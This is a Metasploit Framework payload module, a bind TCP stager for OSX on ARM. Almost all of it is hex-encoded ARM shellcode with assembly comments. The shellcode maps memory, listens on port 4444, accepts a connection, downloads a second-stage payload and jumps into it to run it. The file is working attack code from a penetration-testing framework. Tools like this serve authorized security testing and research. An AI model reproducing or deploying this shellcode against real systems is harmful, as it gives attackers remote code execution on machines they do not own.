##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core/handler/bind_tcp'


###
#
# BindTcp
# -------
#
# OSX bind TCP stager.
#
###
module MetasploitModule

  CachedSize = 248

  include Msf::Payload::Stager

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Bind TCP Stager',
      'Description'   => 'Listen for a connection',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_ARMLE,
      'Handler'       => Msf::Handler::BindTcp,
      'Stager'        =>
        {
          'Offsets' =>
            {
              'LPORT' => [ 66, 'n'    ],
            },
          'Payload' =>
          [
            # mmap
            0xe3a0c0c5, # mov r12, #0xc5
            0xe0200000, # eor r0, r0, r0
            0xe3a01502, # mov r1, #0x2, 10
            0xe3a02007, # mov r2, #0x7
            0xe3a03a01, # mov r3, #0x1, 20
            0xe3e04000, # mvn r4, #0x0
            0xe0255005, # eor r5, r5, r5
            0xef000080, # swi 128

            # store mmap address
            0xe1a0b000, # mov r11, r0

            # socket
            0xe3a00002, # mov r0, #0x2
            0xe3a01001, # mov r1, #0x1
            0xe3a02006, # mov r2, #0x6
            0xe3a0c061, # mov r12, #0x61
            0xef000080, # swi 128

            # store socket
            0xe1a0a000, # mov r10, r0
            0xeb000001, # bl _bind

            # port 4444
            0x5c110200,
            # host 0.0.0.0
            0x00000000,

            # bind
            0xe1a0000a, # mov r0, r10
            0xe1a0100e, # mov r1, lr
            0xe3a02010, # mov r2, #0x10
            0xe3a0c068, # mov r12, #0x68
            0xef000080, # swi 128

            # listen
            0xe1a0000a, # mov r0, r10
            0xe3a01001, # mov r1, #0x1
            0xe3a0c06a, # mov r12, #0x6a
            0xef000080, # swi 128

            # accept
            0xe3a0c01e, # mov r12, #0x1e
            0xe1a0000a, # mov r0, r10
            0xe3a01010, # mov r1, #0x10
            0xe50d1018, # str r1, [sp, #-24]
            0xe24d2010, # sub r2, sp, #0x10
            0xe24d3018, # sub r3, sp, #0x18
            0xef000080, # swi 128

            # check socket
            0xe1a07000, # mov r7, r0
            0xe3500000, # cmp r0, #0x0
            0xda000016, # ble _exit

            # close server
            0xe1a0000a, # mov r0, r10
            0xe3a0c006, # mov r12, #0x6
            0xef000080, # swi 128

            # restore socket
            0xe1a0a007, # mov r10, r7

            # read length
            0xe3a0c003, # mov r12, #0x3
            0xe1a0000a, # mov r0, r10
            0xe1a0100b, # mov r1, r11
            0xe3a02004, # mov r2, #0x4
            0xef000080, # swi 128

            # setup download
            0xe49b9000, # ldr r9, [r11], #0
            0xe1a0800b, # mov r8, r11

            # download stage
            0xe3a0c003, # mov r12, #0x3
            0xe1a0000a, # mov r0, r10
            0xe1a01008, # mov r1, r8
            0xe1a02009, # mov r2, r9
            0xef000080, # swi 128
            0xe3500000, # cmp r0, #0x0
            0xba000004, # blt _exit
            0xe0888000, # add r8, r8, r0
            0xe0499000, # sub r9, r9, r0
            0xe3590000, # cmp r9, #0x0
            0x1afffff4, # bne _readmore

            # jump to stage
            0xe28bf000, # add pc, r11, #0x0

            # exit process
            0xe3a0c001, # mov r12, #0x1
            0xef000080  # swi 128
          ].pack("V*")

        }
      ))
  end

  def handle_intermediate_stage(conn, payload)

    print_status("Transmitting stage length value...(#{payload.length} bytes)")

    address_format = 'V'

    # Transmit our intermediate stager
    conn.put( [ payload.length ].pack(address_format) )

    Rex::ThreadSafe.sleep(0.5)

    return true
  end

end
